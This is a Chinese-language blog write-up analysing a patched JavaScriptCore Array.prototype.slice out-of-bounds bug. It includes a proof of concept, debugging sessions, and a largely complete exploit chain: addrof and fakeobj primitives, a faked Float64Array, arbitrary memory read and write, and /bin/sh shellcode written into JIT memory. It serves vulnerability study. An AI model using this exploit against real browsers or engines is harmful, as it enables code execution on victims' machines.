本文最后更新于:星期二, 六月 4日 2019, 3:08 下午

基本环境搭建

编译JSC

历时差不多两天的失败,网上的编译教程基本都是很久以前的,跟着他们做会报很多错,最后编译成功的jsc也运行不了,一运行就会crash….. 但是,我在github上找到了一个大佬写的教程,是可以成功的,并且他提供了编译好的 jsc以及 对应的动态链接库。

大佬github地址

环境: Ubuntu18.10

JSC编译

# sudo apt install libicu-dev python ruby bison flex cmake build-essential ninja-build git gperf
$ git clone git://git.webkit.org/WebKit.git && cd WebKit
$ Tools/gtk/install-dependencies
$ Tools/Scripts/build-webkit --jsc-only --debug

编译好的jsc可执行文件会在 ~/WebKitBuild/Debug/bin中,同时jsc运行所需的动态链接库会在~/WebKitBuild/Debug/lib中,将动态链接库的所在路径添加到/etc/ld.so.conf中,然后运行 sudo ldconfig命令,就可以使用jsc了。

漏洞分析

漏洞出现在ArrayPrototype.cpp文件的arrayProtoFuncSlice函数中

未修补前代码:

if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
            isJSArray(thisObj))) {
        if (JSArray* result =
                asArray(thisObj)->fastSlice(*exec, begin, end - begin))
          return JSValue::encode(result);
      }

修补后代码:

bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == toLength(exec, thisObj);
    RETURN_IF_EXCEPTION(scope, { });
    if (LIKELY(okToDoFastPath)) {
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }

可以发现它添加了thisObj长度的检查,检查它的长度是否发生了变化。可以通过回调来修改数组的长度,slice函数的执行将会继续使用之获得的长度,从而导致memcpy时越界访问。

验证POC

poc.js

var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
>>> print(b);
0.123,1.123,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314

因为数组在切片前已经被清除,所以var b 的正确输出应该是大小为10的数组,其中被填充了”未定义的值”。但实际的输出中 会有一些奇怪的浮点值,这些是存储在数组之外的内容。

调试:

通过dir 命令,添加JSC源码路径

pwndbg> dir /home/zs0zrc/webkit/Source/JavaScriptCore

在arrayProtoFuncSlice 、JSArray::setLength 、ArrayPrototype.cpp:945上 分别下断点

通过jsc运行poc.js ,它会停在arrayProtoFuncSlice函数

1558246996884

打印thisObj信息:(这是poc中的变量var a)

pwndbg> p *thisObj
$1 = {
  <JSC::JSCell> = {
    <JSC::HeapCell> = {<No data fields>}, 
    members of JSC::JSCell: 
    static StructureFlags = 0, 
    static needsDestruction = false, 
    static TypedArrayStorageType = JSC::NotTypedArray, 
    m_structureID = 86, 
    m_indexingTypeAndMisc = 7 '\a', 
    m_type = JSC::ArrayType, 
    m_flags = 8 '\b', 
    m_cellState = JSC::CellState::DefinitelyWhite
  }, 
m_butterfly = {
    static kind = Gigacage::JSValue, 
    m_barrier = {
      m_value = {
        static kind = Gigacage::JSValue, 
        m_ptr = 0x7fffaede8588
      }
    }
  }
pwndbg> x/10gx 0x7fffaede8588
0x7fffaede8588:    0x3fbf7ced916872b0    0x3ff1f7ced916872b
0x7fffaede8598:    0x4000fbe76c8b4396    0x4008fbe76c8b4396
0x7fffaede85a8:    0x40107df3b645a1cb    0x40147df3b645a1cb
0x7fffaede85b8:    0x40187df3b645a1cb    0x401c7df3b645a1cb
0x7fffaede85c8:    0x40203ef9db22d0e5    0x40223ef9db22d0e5

其中m_ptr是数组存放元素的地址,存放着一堆浮点数

slice函数获取数组的length大小为100

1558256454857

JSC通过下面两条代码来获取数组的起止下标,但是在执行argumentClampedIndexFromStartOrEnd函数时会对数组a 执行 setLength函数,将数组收缩。因为valueOf回调将数组a的大小设置为0, 所以触发了数组的收缩。

unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

1558257812612

函数调用链:

1558257632148

执行完setLength后, thisObj的m_butterfly的地址改变了

pwndbg> p *thisObj
$33 = {
  <JSC::JSCell> = {
    <JSC::HeapCell> = {<No data fields>}, 
    members of JSC::JSCell: 
    static StructureFlags = 0, 
    static needsDestruction = false, 
    static TypedArrayStorageType = JSC::NotTypedArray, 
    m_structureID = 86, 
    m_indexingTypeAndMisc = 7 '\a', 
    m_type = JSC::ArrayType, 
    m_flags = 8 '\b', 
    m_cellState = JSC::CellState::DefinitelyWhite
  }, 
  m_butterfly = {
    static kind = Gigacage::JSValue, 
    m_barrier = {
      m_value = {
        static kind = Gigacage::JSValue, 
        m_ptr = 0x7fffaedfe9a8
      }
    }
  }

pwndbg> x/10gx 0x7fffaedfe9a8
0x7fffaedfe9a8:    0x3fbf7ced916872b0    0x3ff1f7ced916872b
0x7fffaedfe9b8:    0x00000000badbeef0    0x00000000badbeef0
0x7fffaedfe9c8:    0x00000000badbeef0    0x00000000badbeef0
0x7fffaedfe9d8:    0x00000000badbeef0    0x00000000badbeef0
0x7fffaedfe9e8:    0x00000000badbeef0    0x00000000badbeef0

slice函数最后返回的result

pwndbg> p result
$41 = (JSC::JSObject *) 0x7fffaf1f8aa0
pwndbg> x/10gx 0x7fffaf1f8aa0
0x7fffaf1f8aa0:    0x00007ffff6826caf    0x00000000fffffff8
0x7fffaf1f8ab0:    0x00000000fffffff8    0x0000000000000003
0x7fffaf1f8ac0:    0x0000000000000010    0x00007fffefba3630
0x7fffaf1f8ad0:    0x0000000000000000    0x00007fffefbb2fd0
0x7fffaf1f8ae0:    0x00007fffefbba5f0    0x00007ffff6824beb

漏洞利用

构建exploit原语

  • addrof原语

    用来泄露地址信息,基本步骤如下:

    1. 创建一个双精度的数组
    2. 使用自定义的valueOf函数设置对象
    3. 收缩数组
    4. 分配一个新的数组,其中包含着我们想知道地址的对象,这个数组位于复制空间,有很大的可能放在新的 butterfly后面
    5. 返回一个大于数组的值来触发漏洞

      function addrof(object) {
       var a = [];
       for (var i = 0; i < 100; i++)
           a.push(i + 0.123)
       var b = a.slice(0, {valueOf: function() { a.length = 0; b = [object]; return 10; }});
       // Find offset 4 at runtime
       return Int64.fromDouble(b[4]);
      }
      

      slice()返回的新数组是原生的双精度数组,所以可以用来泄露任意JSValue实例。

  • fakeobj原语

    用于将JSObject指针以双精度的形式注入到 JSValue数组中

    1. 创建一个双精度的数组
    2. 使用自定义的valueOf函数设置对象
    3. 收缩数组
    4. 分配一个新数组,其中只包含需要的对象,这个对象是我们想要知道地址的对象
    5. 返回一个大于数组大小的值来触发漏洞

      function fakeobj(addr) {
       var a = []
       for (var i = 0; i < 100; i++)
           a.push({})
       var b = a.slice(0, {valueOf: function() { a.length = 0; b = [addr.asDouble()]; return 10; }});
       return b[4];
      }
      

利用思路

  1. 信息泄漏
  2. 伪造对象(Fload64Array)
  3. 任意地址读写
  4. 读取一个function obj的地址,触发JIT生成RWX的代码
  5. 利用任意地址读写写入shellcode
  6. 执行function

具体利用

  • 构造fake Float64Array数组

    伪造Float64Array数组最重要的部分是JSCell头中的结构ID,这个id指向Float64Array在结构表中id。但是结构id只有在运行时才会被分配,同时结构id在不同的运行中不一定是静态的。因此不能知道Float64Array实例的结构id,这里通过喷射的方法,来实现FloatArray实例

    原理:

    通过喷射方法产生几千个结构体来表现FloatArray实例,然后选取一个高的初始id,碰撞出一个正确的id。

      for (var i = 0; i < 0x1000; i++) {
              var a = new Float64Array(1);
              // Add a new property to create a new Structure instance.
              a[randomString()] = 1337;
          }
    

    伪造Float64数组

    Float64数组由本地JSArrayBufferView类实现,除了包含标准的JSObject字段外,还包含指向后备存储器的指针(vector),长度(length)和模式字段(mode,32位整数)。

    FloatArray对象的大致结构:
    1558283547730

    这里我们写入的JSValue要满足的条件

    • 必须是有效的JSValue,不能为nullptr指针

    • 不能设置有效的模式字段,要大于0x00010000

    • 长度可以自由的控制

    • 只能将vector指向另一个JSObject,因为这是JSValue唯一可以包含的指针

      这里选择将vector指向一个Uinit8Array实例

      demo:

        sprayFloat64ArrayStructures();//这个是喷射的函数
        // 创建要使用的数组
        // 读写目标内存地址
        var hax = new Uint8Array(0x1000);
        var jsCellHeader = new Int64([
            0x0, 0x10, 0x0, 0x0,    // m_structureID, current guess
            0x0,                     // m_indexingType
            0x2c,                    // m_type, Float64Array
            0x08,                    // m_flags, OverridesGetOwnPropertySlot (see JSTypeInfo.h)
            0x1,                    // m_cellState, NewWhite
        ]);
        var container = {
            jsCellHeader: jsCellHeader.encodeAsJSVal(),
            butterfly: false,       // Some arbitrary value
            vector: hax,
            lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
      
        };
        // Create the fake Float64Array.
        var address = Add(addrof(container), 16); 
        var fakearray = fakeobj(address);
        // Find the correct structure ID.
        while (!(fakearray instanceof Float64Array)) { 
            jsCellHeader.assignAdd(jsCellHeader, Int64.One);
            container.jsCellHeader = jsCellHeader.encodeAsJSVal();
      
        }
        // 完成伪造,伪造的数组现在指向hax数组 
        print(describe(hax));
        print(describe(fakearray)); //打印对象的一些调试信息
      
        //输出结果
        //[*] hax @ 0x00007fffad95cae0
        //[*] Fake Float64Array  @ 0x00007fffaef99eb0
        //Object: 0x7fffad95cae0 with butterfly (nil) (0x7fffaef9f2f0:[Uint8Array, {}, //NonArray, Proto:0x7fffaefc4330, Leaf]), ID: 287
        //Object: 0x7fffaef99eb0 with butterfly 0x6 (0x7fffad976950:[Float64Array, //{foo3760:100}, NonArray, Proto:0x7fffaefc4340, Leaf]), ID: 4096
        //[*] Float64Array structure ID found: 00001000
      
         //伪造的数组
         pwndbg> x/10gx 0x7fffaef99eb0
        0x7fffaef99eb0:    0x01082c0000001000    0x0000000000000006
        0x7fffaef99ec0:    0x00007fffad95cae0    0x0001000000000100
        0x7fffaef99ed0:    0x010a1a0000000036    0x0000000000000000
        0x7fffaef99ee0:    0x00007fffaede4460    0x00007fffaefa9ea0
        0x7fffaef99ef0:    0x0000000000000000    0x00000000badbeef0
        //伪造的数组的vector指向了hax数组
      
  • 通过修改Uint8Array的数据指针实现任意地址读写

    构建任意地址读写原语

      memory = {
          read: function(addr, length) {
              print("[<] Reading " + length + " bytes from " + addr);
              fakearray[2] = addr.asDouble();
              var res = new Array(length);
              for (var i=0; i < length; i++)
                  res[i] = hax[i];
              return res;
          },
          read64: function(addr) {
              return new Int64(this.read(addr, 8));
          },
          write: function(addr, data) { print("[>] Writing " + data.length + " bytes to " + addr);
              fakearray[2] = addr.asDouble();
              for (var i=0; i < data.length; i++)
                  hax[i] = data[i];
          },
          write64: function(value) {
              return this.write(addr, value.bytes());
          }
      };
    
  • 修复容器和Float64Array实例 , 避免在垃圾收集时崩溃

    这一步的原因是因为伪造的Float64Array实例的butterfly在垃圾收集时会被被访问,但我们设置的是一个无效的指针,导致会崩溃。如果设置为nullptr,这会导致令一个崩溃。为指针值也是容器对象的属性,并且它会被当作一个JSObject指针。

    具体步骤:

    1. 创建一个空对象。此对象的结构将包含具有默认数量的内联存储(6个插槽)的对象,并且全部不处于使用状态。
    2. 将JSCell头(包含结构ID)复制到容器对象。
    3. 将fake数组的“Butterfly”指针设置为nullptr指针,且使用默认的Float64Array实例来替换该对象的JSCell。

      实现:

      var empty = {};
      var header = memory.read(addrof(empty), 8);
      memory.write(addrof(container), header);
      
      var f64array = new Float64Array(8);
      header = memory.read(addrof(f64array), 16);
      var length = memory.read(Add(addrof(f64array), 24), 8);
      memory.write(addrof(fakearray), header);
      memory.write(Add(addrof(fakearray), 24), length);
      
      print("[+] All done!");
      fakearray.container = container;
      
  • 写入shellcode并执行

    javascript引擎使用JIT编译,需要将指令写入存储器的页面中,之后再执行它。JSC引擎会分配可读可写可执行的内存区域用于存储这些指令,所以可以泄露出函数对象的JIT编译代码的内存地址,然后往该地址写入shellcode,最后调用该函数执行shellcode.

      var func = makeJITCompiledFunction();
    
      //JSFunction
      var funcAddr = addrof(func);
      print("[+] JIT compiled function @ " + funcAddr);
    
      //FunctionExecutable
      var executableAddr = memory.read64(Add(funcAddr, 24));
      print("[+] Executable instance @ " + executableAddr);
    
      //JITCode
      // Need to leak twice (value changes)
      var jitCodeAddr = memory.read64(Add(executableAddr, 24));
      print("[+] First try; JITCode instance @ " + jitCodeAddr);
      // need this print (probably some gc thing)
      var jitCodeAddr = memory.read64(Add(executableAddr, 24));
      print("[+] Second try; JITCode instance @ " + jitCodeAddr);
    
      var codeAddr = memory.read64(Add(jitCodeAddr, 32));
      print("[+] RWX memory @ " + codeAddr.toString());
    
      var shellcode = [0x48,0x31,0xc0,0x50,0x48,0xbf,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,0x57,0x48,0x89,0xe7,0x50,0x48,0x89,0xe2,0x57,0x48,0x89,0xe6,0xb0,0x3b,0x0f,0x05]
    
      print("[+] Writing shellcode...");
      memory.write(codeAddr, shellcode);
    
      print("[!] Jumping into shellcode...");
      func();
    

    最后成功getshell

    1558281987631

    附件

reference


CVE      js_exploit

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!